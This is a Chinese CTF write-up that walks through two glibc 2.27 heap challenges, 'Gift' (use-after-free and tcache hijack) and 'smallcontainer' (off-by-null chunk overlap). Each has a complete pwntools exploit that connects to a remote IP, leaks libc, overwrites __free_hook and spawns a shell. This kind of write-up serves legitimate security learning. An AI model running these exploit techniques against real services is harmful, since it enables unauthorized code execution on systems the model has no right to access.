Gift
 image-20220831211909452
image-20220831211909452
检查保护机。这题没给libc,我是通过 double free 以及打印fd的内容,判断版本应该是在2.27,小版本我直接用到了最高的去调试。
 image-20220831212240031
image-20220831212240031
最多申请十个堆块,只能申请size为0x100或者0x60的堆块,申请后输入的长度比申请少0x10。
 image-20220831212508377
image-20220831212508377
释放堆块存在UAF。
 image-20220831212802935
image-20220831212802935
只能打印堆块+0x10后的内容。
 image-20220831213039296
image-20220831213039296
这里的v2是有符号数,所以如果为负数时,就可以让一个堆块的fd指针加上一个较大的数。
这题花了挺多时间进行构造的,难点在于泄露地址后,再达成一次任意写会发现堆块申请次数不够用,要进行更加节省的构造才行。
想要达成任意写,如果是修改fd,这题又只有在申请堆块时才可以进行写堆块,那么就得申请三次才能达成,在次数紧张的情况下,我又没想到有其他布局可以节省泄露地址使用的次数,就想到了可以通过劫持 tcache bin,修改上面的内容,只需要两次就可以做到任意地址写,节省了一次。
 image-20220901105227963
image-20220901105227963
在泄露出堆地址之后,修改fd指针,指向0x70堆块的前0x10位置,然后将堆块分配过去,进行修改0x70的fd指针。这里的三个堆块size是错开的,防止进入同一个tcache bin中。而选择修改0x70堆块覆盖tcache,是因为记录第一个被释放的0x70堆块比较靠前,如果是0x110的太靠后,可写长度不足以覆盖到。
 image-20220901105909290
image-20220901105909290
这一步的构造算是最巧的一步了,当初也想了挺久的。在把堆块分配过去后,为了能够出现libc地址,需要去伪造一个size至少为0x420的堆块,所以我借助部分的tcache bin加上之前申请的堆块进行伪造大堆块,(同时这也是另外一个需要申请两个0x110堆块的理由,如果是两个0x70的堆块是不够长的);且需要将其释放掉,则在属于0x70的位置上填入了伪造堆块的地址,可以让堆块分配过来。
 image-20220901110006418
image-20220901110006418
伪造fake chunk时,还需要伪造一个尾部堆块,保持堆块内存的连续性。
 image-20220901110811658
image-20220901110811658
释放后成功获得libc地址,此时已经申请了八次堆块,还剩下两次申请机会。
 image-20220901111124906
image-20220901111124906
两次刚好足够,一次填写地址,一次分配堆块达成任意写,这次就不要再用0x70分配,透支了两次,已经坏掉了。最开始是想要填入system地址的,但是因为堆块的前0x10都是已经填入了内容,使用了||貌似也没办法忽略,所以最后还是用了one_gadget getshell。
 QQ图片20220817184118
QQ图片20220817184118
exp:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 
 | 
 from pwn import *
 context(arch = 'amd64',os = 'linux',log_level = 'debug')
 elf = ELF('./pwn')
 DEBUG = 0
 if DEBUG:
 libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
 ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")
 p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
 else:
 ip = '123.56.45.214'
 port = 33027
 libc = ELF("./libc-2.27.so")
 p = remote(ip, port)
 
 
 def debug(info="b main"):
 gdb.attach(p, info)
 
 
 
 def add(size, content):
 p.sendlineafter(b"your choice:\n", b'2')
 p.recvuntil(b"your choice:\n")
 if size == 0x100:
 p.sendline(b'1')
 else:
 p.sendline(b'2')
 p.recvuntil(b"plz write your wish on your gift!\n")
 p.send(content)
 
 
 def show(idx):
 p.sendlineafter(b"your choice:\n", b'4')
 p.recvuntil(b"index?\n")
 p.sendline(str(idx).encode('ascii'))
 
 
 def free(idx):
 p.sendlineafter(b"your choice:\n", b'3')
 p.recvuntil(b"index?\n")
 p.sendline(str(idx).encode('ascii'))
 
 add(0x100, 'a')
 add(0x60, 'a')
 add(0x100, b'a'*0x70 + p64(0) + p64(0x81))
 free(0)
 free(2)
 show(2)
 p.recvuntil(b"cost: ")
 heap = int(p.recv(14), 10) - 0x250
 log.info("heap==>0x%x" %heap)
 p.sendlineafter(b"your choice:\n", b'5')
 p.recvuntil(b"index?\n")
 p.sendline('2')
 p.recvuntil("How much?\n")
 p.send(b'-240')
 free(1)
 add(0x100, 'a')
 add(0x100, p64(0) + p64(0x71) + p64(heap + 0x20))
 add(0x60, 'a')
 add(0x60, p64(0) + p64(0x421) + p64(0)*5 + p64(heap + 0x40))
 add(0x60, 'a')
 free(7)
 show(7)
 p.recvuntil(b"cost: ")
 leak = int(p.recv(16), 10) - 0x3ebca0
 log.info("libc_base==>0x%x" %leak)
 free_hook = leak + libc.sym['__free_hook']
 sys = leak + libc.sym['system']
 ogg = leak + 0x4f302
 add(0x100, b"||sh"*2 + p64(0)*12 + p64(free_hook - 0x20))
 add(0x100, p64(0)*2 + p64(ogg))
 
 free(8)
 
 p.interactive()
 
 | 
smallcontainer
 image-20220831202742252
image-20220831202742252
首先确定附件的保护机制以及libc版本号。
 image-20220831203907328
image-20220831203907328
可以申请最多17个堆块,大小范围在 0xFF~0x3FF之间,记录堆块地址以及堆块大小。
 image-20220831204112120
image-20220831204112120
 image-20220831204103067
image-20220831204103067
这里的输入完内容后执行的函数存在问题:填满堆块时,如果下一个堆块的size存在0x11结尾,将会被置0,可看为offbynull。
 image-20220831204253467
image-20220831204253467
只能打印fd上的内容。
 image-20220831204329537
image-20220831204329537
正常释放堆块,且置0。
显然是要利用offbynull构造堆块重叠,从而泄露地址以及错位修改fd指针,达到任意地址写的目的。
 image-20220831205009734
image-20220831205009734
先填充 tcache bin,0x210作为我们的目标堆块。
 image-20220831205340121
image-20220831205340121
然后在目标堆块里面,把减少的0x11伪造为一个堆块,保持堆块的连续性。
 image-20220831205604626
image-20220831205604626
接着,填充前一个堆块,修改目标堆块的size位。
 image-20220831205808341
image-20220831205808341
 image-20220831210100052
image-20220831210100052
在将prev size位修改为前几个堆块的总和size,最后释放合并,覆盖堆块就完成了。顺带提一嘴,这样在2.27前还能利用成功,在2.29及以上,就会失败了,程序会去检查头堆块的size是否有prev size这么大。
接下来就是泄露地址,然后错位修改堆块的fd指针,就做完了。
 QQ图片20220817194519
QQ图片20220817194519
exp:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 
 | 
 from pwn import *
 context(arch = 'amd64',os = 'linux',log_level = 'debug')
 elf = ELF('./smallcontainer')
 DEBUG = 0
 if DEBUG:
 libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
 ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")
 p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
 else:
 ip = '101.200.85.91'
 port = 37238
 libc = ELF("./libc-2.27.so")
 p = remote(ip, port)
 
 
 def debug(info="b main"):
 gdb.attach(p, info)
 
 
 
 def add(size):
 p.sendlineafter(b"> ", b'1')
 p.recvuntil(b"Input size: ")
 p.send(str(size).encode('ascii'))
 
 
 def show(idx):
 p.sendlineafter(b"> ", b'4')
 p.recvuntil(b"Input index: ")
 p.sendline(str(idx).encode('ascii'))
 
 
 def free(idx):
 p.sendlineafter(b"> ", b'2')
 p.recvuntil("Input index: ")
 p.sendline(str(idx).encode('ascii'))
 
 
 def edit(idx, content):
 p.sendlineafter(b"> ", b'3')
 p.recvuntil("Input index: ")
 p.sendline(str(idx).encode('ascii'))
 p.send(content)
 
 
 add(0x1f8)
 add(0x1f8)
 add(0x1f8)
 add(0x208)
 for i in range(4,11):
 add(0x1f8)
 for i in range(4,11):
 free(i)
 edit(3, b'a'*0x1f0 + p64(0) + p64(0x11))
 edit(2, b'a'*0x1f8)
 edit(2, b'a'*0x1f0 + p64(0x600))
 free(0)
 free(3)
 add(0x100)
 show(0)
 
 leak = int(p.recv(12),16) - 0x3ec190
 log.info("libc_base==>0x%x" %leak)
 free_hook = leak + libc.sym['__free_hook']
 sys = leak + libc.sym['system']
 add(0x310)
 for i in range(7):
 add(0x1f8)
 free(1)
 edit(3 ,b'/bin/sh\x00' + b'a'*0xd8 + p64(0) + p64(0x201) + p64(free_hook))
 add(0x1f8)
 add(0x1f8)
 edit(11, p64(sys))
 free(3)
 
 
 p.interactive()
 
 | 
happy_note